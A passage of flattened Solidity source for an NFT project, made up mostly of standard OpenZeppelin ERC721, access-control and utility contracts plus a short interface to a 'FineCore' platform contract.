return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "../../../utils/Context.sol";
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/ERC721Royalty.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "../../common/ERC2981.sol";
import "../../../utils/introspection/ERC165.sol";
/**
* @dev Extension of ERC721 with the ERC2981 NFT Royalty Standard, a standardized way to retrieve royalty payment
* information.
*
* Royalty information can be specified globally for all token ids via {_setDefaultRoyalty}, and/or individually for
* specific token ids via {_setTokenRoyalty}. The latter takes precedence over the first.
*
* IMPORTANT: ERC-2981 only specifies a way to signal royalty information and does not enforce its payment. See
* https://eips.ethereum.org/EIPS/eip-2981#optional-royalty-payments[Rationale] in the EIP. Marketplaces are expected to
* voluntarily pay royalties together with sales, but note that this standard is not yet widely supported.
*
* _Available since v4.5._
*/
abstract contract ERC721Royalty is ERC2981, ERC721 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC2981) returns (bool) {
return super.supportsInterface(interfaceId);
}
/**
* @dev See {ERC721-_burn}. This override additionally clears the royalty information for the token.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
_resetTokenRoyalty(tokenId);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.2;
interface FineCoreInterface {
function getProjectAddress(uint id) external view returns (address);
function getRandomness(uint256 id, uint256 seed) external view returns (uint256 randomnesss);
function getProjectID(address project) external view returns (uint);
function FINE_TREASURY() external returns (address payable);
function platformPercentage() external returns (uint256);
function platformRoyalty() external returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
